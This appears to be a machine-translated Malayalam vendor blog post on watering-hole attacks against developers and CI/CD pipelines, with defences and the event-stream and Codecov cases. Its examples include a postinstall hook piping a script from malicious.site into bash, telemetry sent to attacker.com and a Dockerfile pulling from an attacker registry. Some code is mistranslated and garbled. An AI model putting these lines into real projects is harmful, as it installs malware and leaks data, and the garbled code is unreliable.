പിൻവാതിൽ നിർമ്മിച്ച കെട്ടിടം
ഒരു ബിൽഡ് കടന്നുപോകുന്നു. ഒരു സേവനം വിന്യസിക്കുന്നു. എല്ലാം വൃത്തിയായി കാണപ്പെടുന്നു. എന്നാൽ ഉള്ളിൽ മറഞ്ഞിരിക്കുന്നത് ഒരു വിട്ടുവീഴ്ചയില്ലാത്ത ഉറവിടത്തിൽ നിന്ന് വലിച്ചെടുക്കുന്ന വിഷലിപ്തമായ ഒരു ആശ്രിതത്വമാണ്. അതൊരു ക്ലാസിക് വാട്ടർ ഹോൾ ആക്രമണമാണ്.
ഈ സാഹചര്യത്തിൽ, ആക്രമണകാരി നിങ്ങളുടെ ഇൻഫ്രാസ്ട്രക്ചറിൽ അതിക്രമിച്ചു കയറിയില്ല. അവർ ഇതിനകം തന്നെ അപഹരിക്കപ്പെട്ട ഒരു വിശ്വസനീയ ഉറവിടം, ഒരു ഡോക്സ് സൈറ്റ്, ഒരു പാക്കേജ് റിപ്പോ അല്ലെങ്കിൽ ഒരു SDK ഡൗൺലോഡ് പേജ് എന്നിവ ഒരു ഡെവലപ്പർ സന്ദർശിക്കുന്നതിനായി അവർ കാത്തിരുന്നു. ക്ഷുദ്ര കോഡ് നിങ്ങളുടെ pipeline ഒരു ലളിതമായ പുൾ അല്ലെങ്കിൽ ഇൻസ്റ്റാൾ കമാൻഡ് ഉപയോഗിച്ച്.
ഒരിക്കൽ കപ്പൽ കയറ്റി അയച്ചാൽ, ആക്രമണകാരിക്ക് ഉൽപ്പാദനത്തിൽ നിശബ്ദമായ ഒരു സ്ഥാനം ലഭിക്കും. നിങ്ങളുടെ CI/CD pipeline അവരെ അവിടെ എത്താൻ സഹായിച്ചു.
വാട്ടറിംഗ് ഹോൾ അറ്റാക്ക് എന്താണ് (ഡെവലപ്പർമാർ എന്തുകൊണ്ട് ശ്രദ്ധിക്കണം)
അപ്പോൾ, ഒരു വാട്ടർ ഹോൾ ആക്രമണം എന്താണ്? ഒരു ആക്രമണകാരി ഡെവലപ്പർമാരോ ടീമുകളോ ഇതിനകം വിശ്വസിക്കുന്ന ഒരു ഉറവിടത്തിൽ നിന്ന് വിട്ടുവീഴ്ച ചെയ്യുമ്പോഴാണ് ഇത് സംഭവിക്കുന്നത്. നിങ്ങളെ നേരിട്ട് ടാർഗെറ്റുചെയ്യുന്നതിനുപകരം, നിങ്ങൾ ഉപയോഗിക്കാൻ സാധ്യതയുള്ള ഒരു പൊതു സൈറ്റോ റിപ്പോയോ അവർ ദുഷിപ്പിക്കുകയും ആരെങ്കിലും ഇരയാകുന്നതുവരെ കാത്തിരിക്കുകയും ചെയ്യുന്നു.
വാട്ടറിംഗ് ഹോൾ ആക്രമണങ്ങൾ സാധാരണയായി ക്രെഡൻഷ്യലുകളെ ലക്ഷ്യം വയ്ക്കുന്ന ഫിഷിംഗിൽ നിന്നും, ഒരു പാക്കേജിന്റെ പ്രധാന റിപ്പോയിലേക്ക് മോശം കോഡ് കുത്തിവയ്ക്കുന്ന അപ്സ്ട്രീം സപ്ലൈ ചെയിൻ ആക്രമണങ്ങളിൽ നിന്നും വ്യത്യസ്തമാണ്. ഇവിടെ, ഭീഷണി വരുന്നത് നിങ്ങളുടെ ചുറ്റുമുള്ള ആവാസവ്യവസ്ഥയിൽ നിന്നാണ്: ബാക്ക്ഡോറുകൾ ചേർക്കുന്ന ഡോക്യുമെന്റുകൾ, ട്രോജനുകളുമായി കൈമാറ്റം ചെയ്യപ്പെടുന്ന SDK ബൈനറികൾ, അല്ലെങ്കിൽ മാറ്റം വരുത്തിയ പതിപ്പുകൾ നൽകുന്ന പാക്കേജ് രജിസ്ട്രികൾ.
കൂടാതെ ഡെവലപ്മെന്റ് റിസോഴ്സുകളാണ് പ്രധാന ലക്ഷ്യങ്ങൾ: പാക്കേജ് മാനേജർമാർ (npm, pip, Maven), പബ്ലിക് GitHub റിപ്പോകൾ, ഔദ്യോഗികമായി കാണപ്പെടുന്ന ഡോക്കർ ഇമേജുകൾ, ഡൗൺലോഡ് പേജുകൾ. ഇവയിൽ ഏതെങ്കിലും അപഹരിക്കപ്പെട്ടിട്ടുണ്ടെങ്കിൽ, ആക്രമണകാരി ഇതിനകം തന്നെ നിങ്ങളുടെ ഡെവലപ്മെന്റ് ഫ്ലോയ്ക്കുള്ളിലുണ്ട്.
കെണി നടുന്നിടത്ത്: യഥാർത്ഥ വികസന-കേന്ദ്രീകൃത ഉദാഹരണങ്ങൾ വെള്ളമൊഴിക്കൽ ദ്വാര ആക്രമണങ്ങൾ
വാട്ടറിംഗ് ഹോളുകളുടെ ആക്രമണങ്ങൾ പല രൂപങ്ങളിലാണ് സംഭവിക്കുന്നത്. ഡെവലപ്പർമാരെ അവ മറികടക്കുന്ന ചില വഴികൾ ഇതാ:
- അപഹരിക്കപ്പെട്ട ഡോക്സ് സൈറ്റ്:
'malicious-lib' ൽ നിന്ന് { init } ഇറക്കുമതി ചെയ്യുക;
init({ ടെലിമെട്രി: 'https://attacker.com' });
ഒരു നിയമാനുസൃത ഉദാഹരണം ഡോക്യുമെന്റുകളിൽ സൂക്ഷ്മമായി മാറി. ഡെവലപ്പർമാർ പകർത്തി, ഒട്ടിച്ച്, മുന്നോട്ട് പോയി.
- പൊതു പിആറിൽ ക്ഷുദ്രകരമായ പോസ്റ്റ്-ഇൻസ്റ്റാൾ സ്ക്രിപ്റ്റ്:
{
"scripts": {
"postinstall": "curl -s https://malicious.site/agent.sh | bash"
}
}
സഹായകരമായ ഒരു പിആർ പോലെ തോന്നുന്നു, പക്ഷേ ഇത് മാൽവെയർ നിശബ്ദമായി ഇൻസ്റ്റാൾ ചെയ്യുന്നു.
- ട്രോജനൈസ്ഡ് SDK ബൈനറി:
./sdk-install.sh # ലോഗിൻ ചെയ്യുക. മറഞ്ഞിരിക്കുന്ന രണ്ടാം ഘട്ട ലോഡർ അടങ്ങിയിരിക്കുന്നു.
വിശ്വസനീയമെന്ന് തോന്നിക്കുന്ന ഒരു URL-ൽ നിന്നാണ് ബൈനറി ഡൗൺലോഡ് ചെയ്തിരിക്കുന്നത്, പക്ഷേ അതിൽ മാറ്റം വരുത്തിയിരിക്കുന്നു. - കൃത്രിമമായി നിർമ്മിച്ച ഡോക്കർ ബേസ് ചിത്രം:
FROM നോഡ്: സ്ലിം-ക്ഷുദ്രകരമായ - റൺ ബാഷ് /tmp/hidden-installer.sh
ചിത്രത്തിന്റെ പേര് ശരിയാണെന്ന് തോന്നുന്നു, പക്ഷേ അത് ഒരു ഹൈജാക്ക് ചെയ്തതോ സ്പൂഫ് ചെയ്തതോ ആയ രജിസ്ട്രിയിലാണ് ഹോസ്റ്റ് ചെയ്തിരിക്കുന്നത്.
കണ്ടെത്തൽ ഒഴിവാക്കാൻ ഈ വാട്ടർ ഹോൾ ആക്രമണങ്ങളെല്ലാം ഡെവലപ്പർമാരുടെ വിശ്വാസത്തെയും വേഗത്തിൽ നീങ്ങുന്ന വർക്ക്ഫ്ലോകളെയും ആശ്രയിച്ചിരിക്കുന്നു.
ലാപ്ടോപ്പിൽ നിന്ന് Pipeline: അണുബാധ എങ്ങനെ പടരുന്നു
ഒരു വാട്ടർ ഹോൾ ആക്രമണം ബ്രൗസറിൽ അവസാനിക്കുന്നില്ല. ക്ഷുദ്ര കോഡ് ഒരു പ്രാദേശിക പരിതസ്ഥിതിയിൽ പ്രവേശിച്ചുകഴിഞ്ഞാൽ, ഇതിന് നിങ്ങളുടെ മുഴുവൻ ഡെലിവറി ശൃംഖലയിലൂടെയും നിശബ്ദമായി സഞ്ചരിക്കാൻ കഴിയും:
- ഡെവലപ്പർ ഒരു അപഹരിക്കപ്പെട്ട ഉറവിടം (ഡോക്സ്, റിപ്പോ, SDK സൈറ്റ്) സന്ദർശിക്കുന്നു.
- പ്രാദേശിക ഡെവലപ്മെന്റ് പരിതസ്ഥിതിയിൽ ക്ഷുദ്രകരമായ കോഡ് പ്രവേശിക്കുന്നു.
- ബാധിച്ച ഫയലുകളോ ഡിപൻഡൻസികളോ a-യിലേക്ക് ചേർക്കുന്നു commit തള്ളി.
- CI/CD ഈ വിട്ടുവീഴ്ച ചെയ്യപ്പെട്ട ഘടകങ്ങൾ ഉപയോഗിച്ച് ജോലികൾ ബിൽഡ്, ഇൻസ്റ്റാൾ ഘട്ടങ്ങൾ പ്രവർത്തിപ്പിക്കുന്നു.
- ആക്രമണകാരിയുടെ കോഡ് ഉൽപാദനത്തിൽ ഉൾച്ചേർത്ത് ആർട്ടിഫാക്റ്റ് അയയ്ക്കുകയും വിന്യസിക്കുകയും ചെയ്യുന്നു.
ഈ ശൃംഖല മണിക്കൂറുകൾക്കുള്ളിൽ വികസിക്കും, പ്രത്യേകിച്ച് ഉയർന്ന വേഗതയുള്ള ടീമുകളിൽ.
ഇത് ദൃശ്യവൽക്കരിക്കാൻ, ഒരു pipeline അണുബാധയുടെ പാത ട്രാക്ക് ചെയ്യുന്ന ഡയഗ്രം:
- ഡെവലപ്പ്മെന്റ് വർക്ക്സ്റ്റേഷൻ: എഡിറ്ററുകൾ, ടെർമിനലുകൾ, സ്ക്രിപ്റ്റുകൾ ഇൻസ്റ്റാൾ ചെയ്യുക.
- ഉറവിട നിയന്ത്രണം: Commitകൾ, പിആർ-കൾ, ലയനങ്ങൾ.
- CI Pipeline: ഡിപൻഡൻസി ഇൻസ്റ്റാളുകൾ, സ്ക്രിപ്റ്റ് എക്സിക്യൂഷൻ, ഇമേജ് ബിൽഡുകൾ.
- പ്രൊഡക്ഷൻ: ആർട്ടിഫാക്റ്റ് റിലീസ്, ഡിപ്ലോയ്കൾ, ഉപയോക്തൃ ആക്സസ്.
ഓരോ ഘട്ടത്തിലും, ശരിയായ സുരക്ഷാ സംവിധാനങ്ങൾ ഇല്ലെങ്കിൽ ഒരു വാട്ടർ ഹോൾ ആക്രമണം ശ്രദ്ധിക്കപ്പെടാതെ പോയേക്കാം.
യഥാർത്ഥ അപകടസാധ്യതാ സാഹചര്യങ്ങൾ CI/CD
വാട്ടർ ഹോൾ ആക്രമണങ്ങൾ ഡെവലപ്മെന്റ് മെഷീനുകളിൽ മാത്രം ഒതുങ്ങുന്നില്ല. അവ നിങ്ങളുടെ pipeline നിങ്ങൾക്ക് എതിരെ. യഥാർത്ഥ അപകടസാധ്യതകളിൽ ഇവ ഉൾപ്പെടുന്നു:
- കോംപ്രമൈസ് ചെയ്ത അടിസ്ഥാന ചിത്രങ്ങൾ:
FROM attacker-registry.io/python:3.10-slim
നിർമ്മാണ സമയത്ത് മറഞ്ഞിരിക്കുന്ന മാൽവെയർ ചേർത്തു. - അൺപിൻ ചെയ്ത സ്ക്രിപ്റ്റുകളോ ഉപകരണങ്ങളോ ലഭ്യമാക്കുന്നു:
ചുരുൾ -s https://pkg.example.com/latest.sh | ബാഷ്
"ഏറ്റവും പുതിയത്" എപ്പോൾ വേണമെങ്കിലും മാറാം, പ്രത്യേകിച്ച് DNS ഹൈജാക്ക് ചെയ്യപ്പെട്ടാൽ. - ബാധിച്ച CI ലോഗുകൾ (ഉദാഹരണം):
[+] ഉപകരണങ്ങൾ ഇൻസ്റ്റാൾ ചെയ്യുന്നു...
[+] https://tools.fakecdn.net/bootstrap.sh എന്നതിൽ നിന്ന് ലഭ്യമാക്കുന്നു.
[+] നിർമ്മാണം പൂർത്തിയായി.
ഉപരിതലത്തിൽ എല്ലാം നന്നായി കാണപ്പെടുന്നു. പക്ഷേ പേലോഡ് ഇതിനകം തന്നെ ആർട്ടിഫാക്റ്റിൽ ഉണ്ട്.
വാട്ടറിംഗ് ഹോൾ ആക്രമണങ്ങൾ ദുരുപയോഗം എത്രമാത്രം വിശ്വാസം CI/CD പരിസ്ഥിതികൾ ബാഹ്യ ഉറവിടങ്ങളിലും സ്ക്രിപ്റ്റുകളിലും സ്ഥാനം പിടിക്കുന്നു.
തകർക്കുന്നു വാട്ടറിംഗ് ഹോൾ ആക്രമണം ചെയിൻ: ഡെവലപ്പർ-സൈഡ് ഡിഫൻസസ്
വാട്ടർ ഹോൾ ആക്രമണങ്ങൾ നേരത്തേ നിർത്താൻ, നിങ്ങളുടെ വികസന രീതികൾ കൂടുതൽ ശക്തമാക്കേണ്ടതുണ്ട്. കോഡ് നിങ്ങളുടെ പക്കലെത്തുന്നതിനു മുമ്പ് ആക്രമണ പ്രതിരോധം ആരംഭിക്കണം. CI/CD pipeline:
- പിൻ ഡിപൻഡൻസികൾ: പോലുള്ള ഫ്ലോട്ടിംഗ് ടാഗുകൾ ഒഴിവാക്കുക ഏറ്റവും പുതിയ. നിർണായക ബിൽഡുകൾ ഉറപ്പാക്കാൻ ലോക്ക്ഫയലുകൾ ഉപയോഗിക്കുക.
- ചെക്ക്സം പരിശോധിക്കുക: എല്ലാ റിമോട്ട് സ്ക്രിപ്റ്റുകളും, ബൈനറികളും, പാക്കേജുകളും സാധൂകരിക്കുക.
- സ്വകാര്യ കണ്ണാടികൾ ഉപയോഗിക്കുക: അപഹരിക്കപ്പെട്ട അപ്സ്ട്രീം ഉറവിടങ്ങളിലേക്കുള്ള എക്സ്പോഷർ തടയുന്നതിന് ക്രിട്ടിക്കൽ പാക്കേജ് രജിസ്ട്രികൾ മിറർ ചെയ്യുക.
- അടിസ്ഥാന ചിത്രങ്ങൾ പരിശോധിച്ചുറപ്പിക്കുക: ഇമേജ് ഡൈജസ്റ്റുകൾ ഉപയോഗിക്കുക (@ഷാ256) ടാഗുകൾക്ക് പകരം. ഉപയോഗിക്കുന്നതിന് മുമ്പ് എല്ലാ ചിത്രങ്ങളും സ്കാൻ ചെയ്യുക.
- പ്രവർത്തിപ്പിക്കുക SCA/SAST പ്രീ-മെർജ്പിആർ: ഭീഷണികൾ നേരത്തേ കണ്ടെത്തുന്നതിന് നിങ്ങളുടെ പിആർ വർക്ക്ഫ്ലോയിൽ സ്കാനുകൾ ഓട്ടോമേറ്റ് ചെയ്യുക.
- Git ഉപയോഗിക്കുക hooks: ഉയർന്ന അപകടസാധ്യതയുള്ള മാറ്റങ്ങൾ പതിപ്പ് നിയന്ത്രണത്തിൽ എത്തുന്നതിനുമുമ്പ് കണ്ടെത്തി തടയുക.
- ചികിത്സിക്കുക മൂന്നാം കക്ഷി കോഡ് വിശ്വസനീയമല്ലാത്ത ഇൻപുട്ട് പോലെ: വ്യാപകമായി ഉപയോഗിക്കുന്ന ലൈബ്രറികൾ പോലും മറഞ്ഞിരിക്കുന്ന അപകടസാധ്യതകൾ വഹിക്കും.
ഡെവലപ്പർമാരുടെ വർക്ക്ഫ്ലോകളിൽ സുരക്ഷ ഉൾപ്പെടുത്തണം. ഈ ശീലങ്ങളും നിയന്ത്രണങ്ങളും വാട്ടർ ഹോൾ ആക്രമണങ്ങൾ വർദ്ധിക്കുന്നതിന് മുമ്പ് തടയാൻ സഹായിക്കുന്നു.
ഫീൽഡിൽ നിന്നുള്ള പാഠങ്ങൾ
കേസ് 1: ഇവന്റ്-സ്ട്രീം (npm)
ഒരു വിശ്വസ്തനായ പരിപാലകൻ ഒരു ജനപ്രിയ പാക്കേജിന്റെ നിയന്ത്രണം കൈമാറി. പുതിയ പരിപാലകൻ ക്രിപ്റ്റോ വാലറ്റ് ഡാറ്റ നിശബ്ദമായി മോഷ്ടിക്കുന്ന ഒരു ആശ്രിതത്വം ചേർത്തു.
- എവിടെയാണ് പരാജയപ്പെട്ടത്: ട്രാൻസിറ്റീവ് ഡിപൻഡൻസികളുടെ അവലോകനം ഇല്ല.
- പാഠം: ഓട്ടോമേറ്റഡ് ഉപയോഗിക്കുക SCA പരോക്ഷമായ ആശ്രിതത്വങ്ങളിലെ മാറ്റങ്ങൾ ട്രാക്ക് ചെയ്യാനും ഫ്ലാഗ് ചെയ്യാനും.
കേസ് 2: കോഡ്കോവ് ബാഷ് അപ്ലോഡർ
പല CI-കളിലും ഉപയോഗിക്കുന്ന ഒരു ബാഷ് സ്ക്രിപ്റ്റിൽ ഒരു ആക്രമണകാരി മാറ്റം വരുത്തി. pipelineഎസ്. ഇത് സിഐ പരിതസ്ഥിതികളിൽ നിന്നുള്ള രഹസ്യങ്ങൾ ചോർത്തി.
- എവിടെയാണ് പരാജയപ്പെട്ടത്: ചെക്ക്സം വാലിഡേഷൻ ഇല്ല.
- പാഠം: ഡൗൺലോഡ് ചെയ്ത ഉപകരണങ്ങൾ പ്രവർത്തിപ്പിക്കുന്നതിന് മുമ്പ് എല്ലായ്പ്പോഴും അവ പരിശോധിക്കുക. CI/CD.
രണ്ടും വെള്ളക്കെട്ട് ആക്രമണങ്ങളായിരുന്നു. രണ്ടും നേരത്തെ തടയാമായിരുന്നു.
പ്രായോഗികമായി പ്രതിരോധം: DevSecOps മൈൻഡ്സെറ്റും ടൂളിംഗും
വാട്ടർ ഹോൾ ആക്രമണങ്ങൾ തടയുക എന്നതിനർത്ഥം സുരക്ഷാ അവബോധമുള്ള ഒരു ഡെവലപ്പർ സംസ്കാരം കെട്ടിപ്പടുക്കുക എന്നാണ്:
- സുരക്ഷ ഇടത്തേക്ക് മാറ്റുക: അപ്രതീക്ഷിത സ്ക്രിപ്റ്റുകൾ, ആശ്രിത മാറ്റങ്ങൾ, അല്ലെങ്കിൽ ഇൻസ്റ്റാൾ ഘട്ടങ്ങൾ എന്നിവ ചോദ്യം ചെയ്യാൻ ഡെവലപ്പർമാരെ പരിശീലിപ്പിക്കുക.
- ഓട്ടോമേറ്റ് ചെയ്യുക SCA/SAST: ഉപയോഗിക്കുക ഉപകരണങ്ങൾ അറിയപ്പെടുന്ന ദുർബലതകളും അപകടകരമായ പാറ്റേണുകളും തടയുന്നതിന് PR വർക്ക്ഫ്ലോകളുമായി സംയോജിപ്പിക്കുന്നവ.
- എല്ലായിടത്തും ഹാഷ് വാലിഡേഷൻ ഉപയോഗിക്കുക: നടപ്പിലാക്കുന്നതിന് മുമ്പ് ഏതെങ്കിലും ബാഹ്യ ഉറവിടം പരിശോധിച്ചുറപ്പിക്കേണ്ടതാണ്.
- തത്സമയം നിരീക്ഷിക്കുക: പ്രതിരോധം മാത്രം പോരാ.
പോലുള്ള ഉപകരണങ്ങൾ സൈജെനി നിങ്ങളുടെ മുഴുവൻ സോഫ്റ്റ്വെയർ വിതരണ ശൃംഖലയിലുടനീളം തത്സമയ ദൃശ്യപരത വാഗ്ദാനം ചെയ്യുന്നു. ഡെവലപ്പർ പരിതസ്ഥിതികൾ, Git പ്രവർത്തനം, CI എന്നിവ Xygeni തുടർച്ചയായി നിരീക്ഷിക്കുന്നു. pipelineകണ്ടെത്തുന്നതിനുള്ള ആർട്ടിഫാക്റ്റ് രജിസ്ട്രികൾ:
- അസാധാരണമായ ആശ്രിതത്വ മാറ്റങ്ങൾ.
- ബിൽഡ് സ്ക്രിപ്റ്റുകളിൽ സംശയാസ്പദമായ മാറ്റങ്ങൾ.
- മൂന്നാം കക്ഷി ഉറവിടങ്ങളിലേക്കുള്ള അസാധാരണമായ ആക്സസ് പാറ്റേണുകൾ.
സൈജെനി ഉപയോഗിച്ച്, വാട്ടർഹോൾ ആക്രമണങ്ങളിലൂടെ വരുന്ന ഭീഷണികൾ വ്യാപിക്കുന്നതിന് മുമ്പ് ടീമുകൾക്ക് തടയാനും, ഒരാൾ വഴുതിവീണാൽ വിട്ടുവീഴ്ചയുടെ ഉറവിടം കണ്ടെത്താനും കഴിയും. ഇത് ആധുനിക ആവശ്യങ്ങൾക്കായി പ്രത്യേകം നിർമ്മിച്ചതാണ് CI/CD പ്രവർത്തനക്ഷമമായ അലേർട്ടുകളിലും ഡെവലപ്പർ ആദ്യം ഉപയോഗക്ഷമതയിലും ശ്രദ്ധ കേന്ദ്രീകരിക്കുന്ന പരിതസ്ഥിതികൾ.
അന്തിമ കുറിപ്പ്: വേഗത Pipelines, വേഗത്തിലുള്ള അപകടസാധ്യതകൾ
ഇപ്പോൾ നിങ്ങൾക്കറിയാം എന്താണ് വാട്ടറിംഗ് ഹോൾ ആക്രമണം? നിങ്ങളുടെ അടിസ്ഥാന സൗകര്യങ്ങൾ നേരിട്ട് ലംഘിക്കേണ്ട ആവശ്യമില്ലെന്ന് നിങ്ങൾക്കറിയാം. ഡെവലപ്പർമാർ ഇതിനകം വിശ്വസിക്കുന്ന ഉപകരണങ്ങളെയും സൈറ്റുകളെയും വിഷലിപ്തമാക്കുന്നതിലൂടെ അവർ വിജയിക്കുന്നു. അവിടെ നിന്ന്, നിങ്ങളുടെ CI/CD pipeline ആക്രമണകാരിയുടെ വിതരണ സംവിധാനമായി മാറാൻ കഴിയും.
യഥാർത്ഥ അപകടസാധ്യത വെറും വിട്ടുവീഴ്ചയല്ല, മറിച്ച് നിങ്ങളുടെ കമ്പ്യൂട്ടറിലൂടെ എത്ര വേഗത്തിൽ മാലിഷ്യസ് കോഡ് കടന്നുപോകുന്നു എന്നതാണ്. pipeline.
ഒരു ശേഷചിന്ത പോലെയല്ല, നിങ്ങളുടെ ഡെവലപ്മെന്റ് ഫ്ലോയിൽ സുരക്ഷാ പരിശോധനകൾ സംയോജിപ്പിക്കുക. കാരണം അത് അയച്ചുകഴിഞ്ഞാൽ, ഇതിനകം വളരെ വൈകിയിരിക്കുന്നു.







